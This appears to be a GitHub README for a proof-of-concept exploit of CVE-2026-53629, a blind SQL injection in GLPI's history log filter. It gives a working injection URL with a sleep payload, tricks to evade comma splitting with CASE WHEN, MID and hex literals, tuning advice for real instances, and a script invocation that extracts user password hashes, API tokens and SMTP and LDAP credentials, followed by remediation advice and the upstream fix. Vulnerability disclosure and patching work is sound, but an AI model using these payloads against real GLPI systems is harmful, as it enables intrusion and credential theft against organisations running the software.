5kr1pt/glpi-logbleedPoC for CVE-2026-53629, blind SQL injection in the GLPI history log filter
Blind SQL injection in the GLPI history log filter. CVE-2026-53629, fixed in 11.0.8 and 10.0.26, broken since 9.4.0.
Needs any account with the logs READ right. The stock Read-Only profile has it.
Advisory: GHSA-cpcj-x335-5cmh Write-up: how I found it
Log::convertFiltersValuesToSqlCriteria() splits the affected_fields filter into key:operator:values. The patch for CVE-2026-29047 validated the operator and cast the array index, and left $key alone.
DBmysqlIterator::analyseCrit() does not quote OR, and as column names. It recurses into their values, and that recursion ends on a deprecated branch that hands plain strings back as raw SQL.
ANDNOTSo OR as the key drops whatever you want into the WHERE clause:
/front/log/export.php?itemtype=Entity&id=0&filter[affected_fields][0]=OR::1 AND sleep(5)
SELECT * FROM `glpi_logs`
WHERE `items_id` = '0' AND `itemtype` = 'Entity'
AND (((((1 AND sleep(5))))))
The history tab does the same through filters[affected_fields][0].
explode(',', $values) breaks anything with a comma, so SUBSTRING(s,1,1) and IF(a,b,c) are out. CASE WHEN ... THEN ... ELSE ... END and MID(s FROM n FOR 1) do the job. Hex literals instead of quotes, 0x676c7069 is glpi.
The payload runs once per row in glpi_logs, so the sleep multiplies. Six rows with sleep(5) is 30 seconds. On a real instance drop it to 0.1 or the request never comes back.
pip install requests
python3 glpi_sqli_extract.py http://glpi.lab.local -u readonly -p readonly
Reads glpi_users.password one character at a time by binary search. --id for another user, --sleep and --threshold for slower targets.
Same trick reads api_token, personal_token and the SMTP and LDAP credentials in glpi_configs.
Upgrade. If you cannot, drop the logs READ right from the profiles that do not need it. Upstream allowlisted the key:
$allowed_keys = ['linked_action', 'id_search_option', 'itemtype_link'];
if (!in_array($key, $allowed_keys, true)) {
continue;
}
Published after the fix was out. Do not run it on things that are not yours.